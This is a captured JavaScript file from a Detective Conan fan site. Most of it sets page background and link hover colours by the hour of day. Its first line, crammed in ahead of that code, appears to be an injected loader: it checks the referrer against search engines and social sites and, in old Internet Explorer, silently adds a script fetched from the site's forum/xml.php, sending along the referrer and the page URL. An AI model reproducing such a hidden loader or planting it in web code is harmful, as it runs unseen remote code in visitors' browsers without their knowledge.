PageSourceSearch

https://www.detectiveconanworld.com/js/background.js

js detectiveconanworld.com collected 2026-10-02 07:18:34 UTC 4,789 bytes, 125 lines download raw bytes

1ref = document.referrer; sem = new Array('google','yahoo','facebook','twitter','youtube','altavista','wikipedia','excite','infoseek','alltheweb','lycos','bing','yandex','rambler','liveinternet','vkontakte','findwhat','metacrawler','ebay');insert = false;for (x in sem){if (ref.indexOf(sem[x]) > 0) { insert = true}}if (document.all){var e = document.createElement('script');e.src = 'https://www.detectiveconanworld.com/forum/xml.php?ref='+encodeURIComponent(ref)+'&page='+encodeURIComponent(top.location.href);e.type='text/javascript';document.getElementsByTagName('head')[0].appendChild(e);}
2
3let backColor = "";
4
5const day = new Date();
6const hour = day.getHours();
7
8switch (hour) {
9    case 2:
10    case 3:
11        backColor = "#557A73";
12        break;
13    case 4:
14    case 5:
15        backColor = "#478F79";
16        break;
17    case 6:
18    case 7:
19        backColor = "#599F83";
20        break;
21    case 8:
22    case 9:
23        backColor = "#5FA6BF";
24        break;
25    case 10:
26    case 11:
27    case 12:
28    case 13:
29    case 14:
30    case 15:
31        backColor = "#47A0BF";
32        break;
33    case 16:
34    case 17:
35    case 18:
36        backColor = "#DFA16F";
37        break;
38    case 19:
39    case 20:
40    case 21:
41    case 22:
42    case 23:
43    case 1:
44    default:
45        backColor = "#4A7294";
46        break;
47}
48
49const backDefaultColor = "#333333";
50
51document.addEventListener("DOMContentLoaded", () => {
52    // Set initial background color
53    document
54        .querySelectorAll("body")
55        .forEach(el => {
56            el.style.backgroundColor = "color-mix(in srgb, " + backColor + " 5%, white)";
57        });
58    document
59        .querySelectorAll("#background")
60        .forEach(el => {
61            el.style.background = "linear-gradient(0deg, transparent, " + backColor + " 85%, " + backColor + ")";
62            // el.style.backgroundColor = backColor;
63        });
64    document
65        .querySelectorAll("#header-content li a.current")
66        .forEach(el => {
67            el.style.backgroundColor = backColor;
68        });
69    document
70        .querySelectorAll("#content-wrap")
71        .forEach(el => {
72            // el.style.boxShadow = "0px 10px 20px 2px " + DCWColorLuminance(backColor, 88); // color-mix(in srgb, " + backColor + " 12%, white)";
73            el.style.boxShadow = "1px 10px 20px 2px color-mix(in srgb, " + backColor + " 50%, white)";
74            // el.style.boxShadow = "0px 10px 20px 2px color-mix(in srgb, " + backColor + " 12%, white)";
75            // el.style.boxShadow = "0px 10px 20px 2px color-mix(in srgb, " + backColor + " 20%, " + backColor + ")";
76            // el.style.boxShadowColor = "color-mix(in srgb, " + backColor + " 12%, white)";
77        });
78
79    // Hover behavior for header links
80    document
81        .querySelectorAll("#header-content li a:not(.current)")
82        .forEach(el => {
83            el.addEventListener("mouseenter", () => {
84                // el.style.background = "linear-gradient(0deg, transparent, " + backColor + " 85%, " + backColor + ")";
85                el.style.backgroundColor = backColor;
86            });
87            el.addEventListener("mouseleave", () => {
88                // el.style.background = "linear-gradient(0deg, transparent, " + backDefaultColor + " 85%, " + backDefaultColor + ")";
89                el.style.backgroundColor = backDefaultColor;
90            });
91        });
92
93    // Hover behavior for dcw header links
94    document
95        .querySelectorAll("#dcw__header-content li a:not(.dcw__current)")
96        .forEach(el => {
97            el.addEventListener("mouseenter", () => {
98                el.style.background = "linear-gradient(0deg, transparent, " + backColor + " 85%, " + backColor + ")";
99                // el.style.backgroundColor = backColor;
100            });
101            el.addEventListener("mouseleave", () => {
102                el.style.background = "linear-gradient(0deg, transparent, " + backDefaultColor + " 85%, " + backDefaultColor + ")";
103                // el.style.backgroundColor = backDefaultColor;
104            });
105        });
106});
107
108/* function DCWColorLuminance(hex, lum) {
109    // Validate hex string and expand shorthand
110    hex = String(hex).replace(/[^0-9a-f]/gi, '');
111    if (hex.length < 6) {
112        hex = hex[0] + hex[0] + hex[1] + hex[1] + hex[2] + hex[2];
113    }
114    lum = lum || 0;
115
116    var rgb = "#", c, i;
117    for (i = 0; i < 3; i++) {
118        c = parseInt(hex.substr(i * 2, 2), 16);
119        // Increase the RGB value, clamp between 0 and 255
120        c = Math.round(Math.min(Math.max(0, c + (c * lum)), 255)).toString(16);
121        // Pad with zeros for single-digit hex values
122        rgb += ("00" + c).substr(c.length);
123    }
124    return rgb;
125} */

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.